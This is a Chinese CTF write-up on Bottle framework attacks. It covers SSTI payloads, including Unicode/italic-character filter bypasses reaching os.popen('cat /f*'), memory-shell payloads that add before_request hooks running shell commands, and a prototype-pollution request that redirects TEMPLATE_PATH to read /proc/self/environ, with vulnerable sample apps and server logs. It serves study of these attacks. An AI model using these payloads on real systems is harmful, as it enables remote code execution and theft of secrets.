Bottle框架的ssti、内存马、污染深入浅出

https://www.osgeo.cn/bottle/

第一次遇到Bottle框架是在vnctf。Bottle框架是一个单文件的python框架。

Bottle自带了一个快速,强大,易用的模板引擎,名为 SimpleTemplate 或简称为 stpl 。它是 view() 和 template() 两个函数默认调用的模板引擎。

而SimpleTemplate类是继承了BaseTemplate类的

Bottle ssti

这是vnctf那道题的源码

import ast
import sys
from bottle import route, run, template, request


def verify_secure(m):
    for x in ast.walk(m):
        if isinstance(x, (ast.Import, ast.ImportFrom)):
            print(f"ERROR: Banned statement {x}")
            return False

        elif isinstance(x, ast.Call):
            if isinstance(x.func, ast.Name) and x.func.id == "__import__":
                print(f"ERROR: Banned dynamic import statement {x}")
                return False
    return True


def init_functions():
    # sys.modules['os'].popen = disabled
    sys.modules['os'].system = disabled
    sys.modules['time'].sleep = disabled


def disabled(*args, **kwargs):
    raise PermissionError("Use of function is not allowed!")


@route('/')
def index():
    return '''<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>学生姓名登记</title>

    <style>
        body {
            font-family: 'Arial', sans-serif;
            line-height: 1.6;
            color: #333;
            max-width: 600px;
            margin: 0 auto;
            padding: 20px;
            background-color: #f4f4f4;
        }
        .container {
            background-color: #fff;
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        h2 {
            color: #2c3e50;
            text-align: center;
            margin-bottom: 20px;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        label {
            margin-bottom: 10px;
            font-weight: bold;
        }
        textarea {
            width: 100%;
            height: 150px;
            padding: 10px;
            border: 1px solid #ddd;
            border-radius: 4px;
            resize: vertical;
            font-size: 16px;
        }
        button {
            background-color: #3498db;
            color: #fff;
            border: none;
            padding: 10px 15px;
            font-size: 16px;
            border-radius: 4px;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }
        button:hover {
            background-color: #2980b9;
        }
        .error {
            color: #e74c3c;
            margin-top: 10px;
        }
    </style>

</head>

<body>
    <div class="container">
        <h2>学生姓名登记</h2>

        <form action="/students" method="POST" id="studentForm">
            <label for="name">请输入学生姓名(一行一个):</label>

            <textarea id="name" name="name" placeholder="张三" required></textarea>

            <button type="submit">提交</button>

        </form>

        <p id="errorMessage" class="error"></p>

    </div>

    <script>
        document.getElementById('studentForm').addEventListener('submit', function(e) {
            e.preventDefault();

            const namesInput = document.getElementById('name').value.trim();
            const names = namesInput.split('\n').filter(name => name.trim() !== '');

            if (names.length === 0) {
                document.getElementById('errorMessage').textContent = '请至少输入一个学生姓名。';
                return;
            }

            document.getElementById('errorMessage').textContent = '';
            this.reset();
        });
    </script>

</body>

</html>

'''


def successhtml(name):
    success_html = """<!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Success</title>

        <style>
            body {
                font-family: 'Arial', sans-serif;
                background-color: #f0f2f5;
                margin: 0;
                padding: 0;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
            }
            .container {
                background-color: #ffffff;
                border-radius: 8px;
                box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                padding: 30px;
                text-align: center;
                max-width: 400px;
                width: 90%;
            }
            .success-icon {
                color: #52c41a;
                font-size: 48px;
                margin-bottom: 20px;
            }
            h1 {
                color: #333;
                font-size: 24px;
                margin-bottom: 15px;
            }
            .message {
                color: #666;
                font-size: 16px;
                line-height: 1.5;
            }
            .student-name {
                font-weight: bold;
                color: #1890ff;
            }
            .back-button {
                background-color: #1890ff;
                color: white;
                border: none;
                padding: 10px 20px;
                font-size: 16px;
                border-radius: 4px;
                cursor: pointer;
                transition: background-color 0.3s;
                margin-top: 20px;
            }
            .back-button:hover {
                background-color: #40a9ff;
            }
        </style>

    </head>

    <body>
        <div class="container">
            <div class="success-icon">✔</div>

            <h1>Success</h1>

            <p class="message">
                <span class="student-name" id="studentName"></span>

            </p>

            <button class="back-button" onclick="goBack()">返回</button>

        </div>

        <script>
            const studentName = "张三";

            document.addEventListener('DOMContentLoaded', function() {
                const messageElement = document.getElementById('studentName');
                messageElement.innerHTML = `""" + "<b>学生 {} 的成绩录入成功!</b>".format(name) + """`;
            });

            function goBack() {
                window.location.href = '/'; 
            }
        </script>

    </body>

    </html>"""
    return success_html


@route('/students', method=['POST'])
def students():
    name = request.forms.name
    black_list = ['open', 'exec', 'eval', 'subprocess']
    for x in black_list:
        if x in name:
            return "Hacker!"

    temp = name.split("\n")
    print(temp)
    for i in range(0, len(temp)):
        temp[i] = temp[i].replace('\n', '').replace('\r', '')
        if len(temp[i]) > 23:
            return "<h1>谁家好人名字这么长??</h1>"
    try:
        tree = compile(name, "temp.py", 'exec', flags=ast.PyCF_ONLY_AST)
    except:
        return successhtml(name)
    if verify_secure(tree):
        try:
            return template(successhtml(name))
        except:
            return successhtml(name)
    else:
        return "No import!"


init_functions()
run(host='localhost', port=8081, debug=True)

python3.8后有海象运算符,可以绕过长度限制。

{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()[154]}}
{{e:=d.__init__}}
{{f:=e.__globals__}}

这里讲一讲bottle框架的ssti,不仅可以用{{}},<%%>也可以,%也是可以的!https://www.osgeo.cn/bottle/stpl.html

但是如果用%的话,要加一个\n才行。这是因为这是有前提的,我们先看看效果,再看看源码

127.0.0.1 - - [09/Apr/2025 10:41:15] "GET /attack?payload=%0a%%20print(123) HTTP/1.1" 200 7
123
meteor-kai\ty
127.0.0.1 - - [09/Apr/2025 10:41:26] "GET /attack?payload=%0a%%20import%20os;os.system(%27whoami%27) HTTP/1.1" 200 7
127.0.0.1 - - [09/Apr/2025 10:42:34] "GET /attack?payload=%%20import%20os;os.system(%27whoami%27) HTTP/1.1" 200 37
127.0.0.1 - - [09/Apr/2025 10:42:41] "GET /attack?payload=%%20print(123) HTTP/1.1" 200 18

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 5999 and 'open' not in payload and '\\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

如果 <% ... %> 或 % ... 嵌入在普通文本中(无换行符分隔),则被视为 普通文本,直接输出。

bottle.template('hello '+payload),这里是被嵌入在文本中的!!!

<%%>也是跟上面的一样的。。。

127.0.0.1 - - [09/Apr/2025 10:43:29] "GET /attack?payload=<%print(123)%> HTTP/1.1" 200 20
127.0.0.1 - - [09/Apr/2025 10:43:34] "GET /attack?payload=%0a%3C%print(123)%%3E HTTP/1.1" 200 7
123

所以具体情况要看bottle.template()

下面还要说到一种bottle框架的斜体字

bottle框架斜体字引发的ssti模板注入

show

xyctf2025遇到了这个知识点

环境如下:

import bottle
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    print(payload)
    try:
        return bottle.template('hello '+payload)
    except:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

目前发现的POC只能替换俩字符,分别是o,a,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。

这里给出unicode字符表的网址:https://symbl.cc/cn/unicode-table/#latin-1-supplement

ª的url编码是%C2%AA,若我们直接传入http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-1)}},服务端回显如下:

{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 16:27:04] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752

那么我们去掉%C2,发现页面正常回显hello 1

127.0.0.1 - - [08/Apr/2025 16:28:01] "GET /attack?payload={{%AAbs(-1)}} HTTP/1.1" 200 7
{{ªbs(-1)}}

然后我们试试阳性序数指示符º。url编码是%C2%BA。若我们直接传入http://192.168.79.128:5000/attack?payload={{%C2%BApen(%27/flag%27).read()}},客户端报错,服务端回显如下:

{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:40:48] "GET /attack?payload={{%C2%BApen(%27/flag%27).read()}} HTTP/1.1" 400 768

去掉%C2,发现ok啦。http://192.168.79.128:5000/attack?payload={{%BApen(%27/flag%27).read()}}

{{ºpen('/flag').read()}}
192.168.79.1 - - [08/Apr/2025 16:42:17] "GET /attack?payload={{%BApen(%27/flag%27).read()}} HTTP/1.1" 200 30

原理

我们深入代码看看,个人认为bottle源码看着还是很舒服的,因为只有一个文件。

我们跟进bottle.template()看看

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

这里主要就是指定模板引擎和模板文件的搜索路径。还有下面的模板缓存机制:

  1. 缓存逻辑:如果模板未缓存或处于调试模式(DEBUG=True),则重新加载模板。
  • 直接使用模板对象:如果 tpl 已经是适配器实例,直接缓存。
  • 模板字符串:如果包含换行符或模板语法符号({, %, $),视为模板字符串。
  • 模板文件:否则视为文件名,从 lookup 路径加载。

识别出模板标识符后将其视为模板字符串,再交给adapter,也就是SimpleTemplate。使用render()作为入口函数。

    def render(self, *args, **kwargs):
        """ Render the template using keyword arguments as local variables. """
        env = {}
        stdout = []
        for dictarg in args:
            env.update(dictarg)
        env.update(kwargs)
        self.execute(stdout, env)
        return ''.join(stdout)

用 env.update() 把所有位置参数(*args)合并进 env 中;把关键字参数(**kwargs)也加入到 env 中;最后调用当前类的execute方法。我们跟进看看:

    def execute(self, _stdout, kwargs):
        env = self.defaults.copy()
        env.update(kwargs)
        env.update({
            '_stdout': _stdout,
            '_printlist': _stdout.extend,
            'include': functools.partial(self._include, env),
            'rebase': functools.partial(self._rebase, env),
            '_rebase': None,
            '_str': self._str,
            '_escape': self._escape,
            'get': env.get,
            'setdefault': env.setdefault,
            'defined': env.__contains__
        })
        exec(self.co, env)
        if env.get('_rebase'):
            subtpl, rargs = env.pop('_rebase')
            rargs['base'] = ''.join(_stdout)  #copy stdout
            del _stdout[:]  # clear stdout
            return self._include(env, subtpl, **rargs)
        return env

可以看到在exec的全局变量里定义了一个_escape和_printlist函数。

模板代码的执行其实就是在 exec(self.co, env),我们跟进看看self.co(即要执行的代码)。

@cached_property
    def co(self):
        return compile(self.code, self.filename or '<string>', 'exec')

这个@cached_property可以理解为是一个优化机制,用来避免重复计算。

进行了一次compile(编译),我们直接跟进self.code

    def code(self):
        source = self.source
        if not source:
            with open(self.filename, 'rb') as f:
                source = f.read()
        try:
            source, encoding = touni(source), 'utf8'
        except UnicodeError:
            raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
        parser = StplParser(source, encoding=encoding, syntax=self.syntax)
        code = parser.translate()
        self.encoding = parser.encoding
        return code

我们在try里面,touni的下方加一个print(source)

当我们传入以下参数的时候,我们看看服务端print

http://127.0.0.1:5000/attack?payload={{hello%20world}}

发现这里的source其实就是我们传入的参数。

跟进touni看看:

def touni(s, enc='utf8', err='strict'):
    if isinstance(s, bytes):
        return s.decode(enc, err)
    return unicode("" if s is None else s)

如果是字节类型的,decode后return,否则return一个unicode("" if s is None else s),然后我们看看unicode的定义:

unicode = str

unicode是一个str类,全体str!

然后我们再回到code()方法

parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate()

跟进一下StplParser的translete方法。StplParser 类是用来解析和转换某种模板或源代码的。

    def translate(self):
        if self.offset: raise RuntimeError('Parser is a one time instance.')
        while True:
            m = self.re_split.search(self.source, pos=self.offset)
            if m:
                text = self.source[self.offset:m.start()]
                self.text_buffer.append(text)
                self.offset = m.end()
                if m.group(1):  # Escape syntax
                    line, sep, _ = self.source[self.offset:].partition('\n')
                    self.text_buffer.append(self.source[m.start():m.start(1)] +
                                            m.group(2) + line + sep)
                    self.offset += len(line + sep)
                    continue
                self.flush_text()
                self.offset += self.read_code(self.source[self.offset:],
                                              multiline=bool(m.group(4)))
            else:
                break
        self.text_buffer.append(self.source[self.offset:])
        self.flush_text()
        return ''.join(self.code_buffer)

这段代码主要就是将模板/自定义语法转换为可执行代码(如 Python)。

这里我们主要关注的是self.flush_text(),我们跟进一下。

  • flush_text(): 将 text_buffer 中的普通文本转换为目标代码(如 Python 的 print() 语句)。
    def flush_text(self):
        text = ''.join(self.text_buffer)
        del self.text_buffer[:]
        if not text: return
        parts, pos, nl = [], 0, '\\\n' + '  ' * self.indent
        for m in self.re_inl.finditer(text):
            prefix, pos = text[pos:m.start()], m.end()
            if prefix:
                parts.append(nl.join(map(repr, prefix.splitlines(True))))
            if prefix.endswith('\n'): parts[-1] += nl
            parts.append(self.process_inline(m.group(1).strip()))
        if pos < len(text):
            prefix = text[pos:]
            lines = prefix.splitlines(True)
            if lines[-1].endswith('\\\\\n'): lines[-1] = lines[-1][:-3]
            elif lines[-1].endswith('\\\\\r\n'): lines[-1] = lines[-1][:-4]
            parts.append(nl.join(map(repr, lines)))
        code = '_printlist((%s,))' % ', '.join(parts)
        self.lineno += code.count('\n') + 1
        self.write_code(code)

这里我们在code下方加一个print(code)

我们访问http://127.0.0.1:5000/attack?payload=hello{{hello%20world}},服务端回显如下:

hello{{hello world}}
_printlist(('hello hello', _escape(hello world),))

这个_printlist就是在exec执行的全局空间里的打印函数。

env.update({
            '_stdout': _stdout,
            '_printlist': _stdout.extend,
            'include': functools.partial(self._include, env),
            'rebase': functools.partial(self._rebase, env),
            '_rebase': None,
            '_str': self._str,
            '_escape': self._escape,
            'get': env.get,
            'setdefault': env.setdefault,
            'defined': env.__contains__
        })

然后我们接着看flush_text,其中有

parts.append(self.process_inline(m.group(1).strip()))

每一行模板都会经过它,self.process_inline(m.group(1).strip()),我们跟进一下。

    def process_inline(chunk):
        if chunk[0] == '!': return '_str(%s)' % chunk[1:]
        return '_escape(%s)' % chunk

这里我们发现了与转码有关的_escape函数,我们接下来跟进一下 self._escape,发现他在prepare中被定义。

class SimpleTemplate(BaseTemplate):
    def prepare(self,
                escape_func=html_escape,
                noescape=False,
                syntax=None, **ka):
        self.cache = {}
        enc = self.encoding
        self._str = lambda x: touni(x, enc)
        self._escape = lambda x: escape_func(touni(x, enc))
        self.syntax = syntax
        if noescape:
            self._str, self._escape = self._escape, self._str

还记得每一次进入SimpleTemplate都有一次初始化吗,就是prepare函数这些。

self._escape = lambda x: escape_func(touni(x, enc))

我们跟进一下escape_func,发现

escape_func=html_escape

再跟进一下html_escape

def html_escape(string):
    """ Escape HTML special characters ``&<>`` and quotes ``'"``. """
    return string.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')\
                 .replace('"', '&quot;').replace("'", '&#039;')

就是一个防止XSS的HTML编码函数。

至此我们得出结论:我们的输入,不论在不在{{}}里,经过唯一的编码检查就是对source的touni(),但是由于全局变量中的unicode在python3下是全体str,这就导致了我们可以输入斜体字符

这里给出一个斜体字符生成器:https://exotictext.com/zh-cn/italic/

这里3.12.2及其之前的python版本如果执行上述命令会报错!

最后的代码由python的exec()来执行

假如直接exec()任意code的话,python会把code中当作代码处理的斜体字根据Decomposition转成对应的ASCII字符(当作字符串处理的除外,如此例中,假如whoami或os为斜体,则会无法执行,因为找不到斜体的os库,和斜体的whoami命令),这里os和whoami是当作字符串处理的!

看到这里,我想起之前ctf一道ssti的题也考到了这种斜体的方法,这里给出一个payload:

𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[111, 115]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[112,111,112,101,110])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[99,97,116,32,47,102,42]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[114,101,97,100])))()

他这个其实是等价于__import__('os').popen('cat /f*').read()

接下来再说说为什么只有两个字符ª (U+00AA),º (U+00BA)成功了:

{{ªbs(-1)}}
127.0.0.1 - - [08/Apr/2025 19:06:12] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752

这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,那么bottle解析的就是%C2,只要删除掉%C2就能将字符传入后端!

我们再看看其他的有没有可利用的!

{{ªbs(-¹)}}
http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-%C2%B9)}}

若把前面的%C2删除,我们传入如下的参数

http://127.0.0.1:5000/attack?payload={{%AAbs(%B9)}}

服务端回显如下:

{{ªbs(¹)}}
127.0.0.1 - - [08/Apr/2025 19:12:10] "GET /attack?payload={{%AAbs(%B9)}} HTTP/1.1" 400 750

那就是不行喽!

其中只有ª (U+00AA),º (U+00BA),¹ (U+00B9),² (U+00B2),³ (U+00B3)有用,其中¹ (U+00B9),² (U+00B2),³ (U+00B3)在exec()时不会被python正确解析。而ª (U+00AA),º (U+00BA)执行的时候等效于字符a,o,别的字符RCE根本用不上。

这里稍微总结一下,如果我们是从前端传入的,那么一定会经过url编码,举个例子:

我们传入的是{{𝒶𝒷𝓈(1)}},但是后端无法将其解析,前端页面会报错400。

127.0.0.1 - - [08/Apr/2025 19:15:16] "GET /attack?payload={{%F0%9D%92%B6%F0%9D%92%B7%F0%9D%93%88(1)}} HTTP/1.1" 400 779
{{𝒶𝒷𝓈(1)}}

但是如果我们直接在后端传入𝒶𝒷𝓈(1),将以下语句直接加入代码中

import bottle
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    return bottle.template('{{𝒶𝒷𝓈(-2)}}')
    # payload = bottle.request.query.get('payload')
    # print(payload)
    # try:
    #     return bottle.template('hello '+payload)
    # except:
    #     bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

我们访问时前端正常回显!

再看看ª (U+00AA),º (U+00BA),如果我们前端传入,他会以两个编码值表示,而bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,所以如果我们直接传入ª (U+00AA)或者º (U+00BA),那么必然也是会报错的,因此在前端传入时需要将前面的%C2删除后再传入!

那么如果直接从后端传入呢?看看效果

import bottle
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    return bottle.template('{{ªbs(-1)}}')

if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

因此我们所有的问题都聚焦在如何将斜体字符传入template中。

get(post)传参特殊字符必须进行URL编码的原因,因此我们是无法传入这种斜体字符的。但是假设靶机提供了一种可以不使用URL编码的方式将可控输入传入template(如:上传文件,再渲染文件中的内容形成的SSTI)那就意味着所有的字符可以全部用各种斜体替换(是的,一个ASCII的斜体字符至少4种),那就真的超模了。

对于任意ASCII字母都至少可以在https://exotictext.com/zh-cn/italic/上找到四种对应的斜体。在python中都可以直接当成ASCII正常执行。假设我们能把这些东西传到后端,不会触发针对该字符的waf,bottle渲染完成后就会直接进入exec,可以正常RCE。

参考文章:

拉蒙特徐宝子

https://www.cnblogs.com/LAMENTXU/articles/18805019

Bottle v0.13.2内存马

内存马其实就是自定义一个路由来实现rce

路由

from bottle import template,Bottle,request,error
app=Bottle()
@error(404)
@app.route("/memshell")
def index():
    result=eval(request.params.get('cmd'))
    return template("Hello:{{result}}",result)

@app.route("/")
def index():
    return "Hello,jwk"

if __name__=="__main__":
    app.run(host='0.0.0.0',port=8888,debug=True)

跟进route看看

    def route(self,
              path=None,
              method='GET',
              callback=None,
              name=None,
              apply=None,
              skip=None, **config):
        """ A decorator to bind a function to a request URL. Example::

                @app.route('/hello/<name>')
                def hello(name):
                    return 'Hello %s' % name

            The ``<name>`` part is a wildcard. See :class:`Router` for syntax
            details.

            :param path: Request path or a list of paths to listen to. If no
              path is specified, it is automatically generated from the
              signature of the function.
            :param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of
              methods to listen to. (default: `GET`)
            :param callback: An optional shortcut to avoid the decorator
              syntax. ``route(..., callback=func)`` equals ``route(...)(func)``
            :param name: The name for this route. (default: None)
            :param apply: A decorator or plugin or a list of plugins. These are
              applied to the route callback in addition to installed plugins.
            :param skip: A list of plugins, plugin classes or names. Matching
              plugins are not installed to this route. ``True`` skips all.

            Any additional keyword arguments are stored as route-specific
            configuration and passed to plugins (see :meth:`Plugin.apply`).
        """
        if callable(path): path, callback = None, path
        plugins = makelist(apply)
        skiplist = makelist(skip)

然后就会进入callable判断,

callable = lambda x: hasattr(x, '__call__')

如果 path 是一个可调用对象,例如一个函数、字符串……(这也许也是在阐述python万物皆对象吧)

则交换 path 和 callback 的角色,将原本作为 path 的值赋给 callback,并将 path 设置为 None

如果判断成功他就会调用:

def makelist(data):  # This is just too handy
    if isinstance(data, (tuple, list, set, dict)):
        return list(data)
    elif data:
        return [data]
    else:
        return []
makelist([1, 2, 3])   # 返回 [1, 2, 3]  (已经是列表)
makelist((1, 2, 3))   # 返回 [1, 2, 3]  (元组转换为列表)
makelist({1, 2, 3})   # 返回 [1, 2, 3]  (集合转换为列表)
makelist('abc')       # 返回 ['abc']     (字符串被包装为单元素列表)
makelist(42)          # 返回 [42]        (整数被包装为单元素列表)
makelist(None)        # 返回 []          (空值返回空列表)

其实就是把元组,集合,字符串,字典,整数转换为列表,然后把空值返回空列表,总的来说就是不管你是啥,你传进去了什么,就都返回列表给你。

    if callable(path): path, callback = None, path
    plugins = makelist(apply)
    skiplist = makelist(skip)

这段代码在apply和skip为空的情况下,plugins和skiplist都为空。

然后往下看就知道剩下的代码定义了一个装饰器decorator函数,专门用来接收callback参数,然后下面一段都是生成路由的规则

        def decorator(callback):
            if isinstance(callback, basestring): callback = load(callback)
            for rule in makelist(path) or yieldroutes(callback):
                for verb in makelist(method):
                    verb = verb.upper()
                    route = Route(self, rule, verb, callback,
                                  name=name,
                                  plugins=plugins,
                                  skiplist=skiplist, **config)
                    self.add_route(route)
            return callback

        return decorator(callback) if callback else decorator

方法

那么这个.route默认的方法是'GET',当然你也可以传一个POST进去

callback

这里回扣到第一步,到底我们要传个什么样的值才能够成功生成一个函数呢?

所以我们目前需要探索的是如何不写一个完整的def的情况下自定义一个函数

这就不得不提到python自己默认自带的lambda表达式。

app.route("/c","GET",lambda :print(1))

hook类

add_hook函数有去讲如何调用这些函数

    def add_hook(self, name, func):
        """ Attach a callback to a hook. Three hooks are currently implemented:

            before_request
                Executed once before each request. The request context is
                available, but no routing has happened yet.
            after_request
                Executed once after each request regardless of its outcome.
            app_reset
                Called whenever :meth:`Bottle.reset` is called.
        """
        if name in self.__hook_reversed:
            self._hooks[name].insert(0, func)
        else:
            self._hooks[name].append(func)

这里就是看你传的是after_request就调用insert,不是就调用其他的。

后端有显示,前端只是一昧地报错

respond头回显

just like 请求头回显

发现有好几个类都是以BaseResponse作为父类

bottle模块->BaseResponse::set_header -> _hval(value)

    def set_header(self, name, value):
        """ Create a new response header, replacing any previously defined
            headers with the same name. """
        self._headers[_hkey(name)] = [_hval(value)]
/memshell?cmd=app.add_hook('before_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("whoami").read().encode('utf-8')).decode('utf-8')))

然后访问/,才能看到结果

abort方法妙用

def abort(code=500, text='Unknown Error.'):
    """ Aborts execution and causes a HTTP error. """
    raise HTTPError(code, text)

直接把结果抛出来了,同时也是把结果抛出来。

/memshell?cmd=app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

原型链污染

bottle.TEMPLATE_PATH

污染bottle框架的TEMPLATE_PATH,改变模板渲染的路径

POST /setValue?name=setval HTTP/1.1
Host: 39.106.16.204:16613
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 5

{"path":"__globals__.bottle.TEMPLATE_PATH","value":['./', './views/','/proc/self/']}

如上述,污染成/proc/self/,那么接下来ssti进行模板渲染的时候,输入environ,那么就会渲染出/proc/self/environ

详情见NCTF2024的笔记!

这里讲一下此处的原理,看bottle.template源码:

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)指定模板文件的搜索路径(默认是 TEMPLATE_PATH),我们跟进TEMPLATE_PATH知道:

TEMPLATE_PATH = ['./', './views/']

但是这个TEMPLATE_PATH是可能被原型链污染的。

我们接着往下看源码,

if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
  1. 缓存键:tplid 由 lookup 对象ID和模板内容组成,确保唯一性。
  2. 缓存逻辑:如果模板未缓存或处于调试模式(DEBUG=True),则重新加载模板。
  • 直接使用模板对象:如果 tpl 已经是适配器实例,直接缓存。
  • 模板字符串:如果包含换行符或模板语法符号({, %, $),视为模板字符串。
  • 模板文件:否则视为文件名,从 lookup 路径加载。

此处的重点我们看else处,此处的lookup路径其实就是TEMPLATE_PATH。若我们将TEMPLATE_PATH污染成/proc/self/,同时我们传入的参数template(xxx),将xxx指定为environ,那么我们就能读取到/proc/self/environ这个文件了!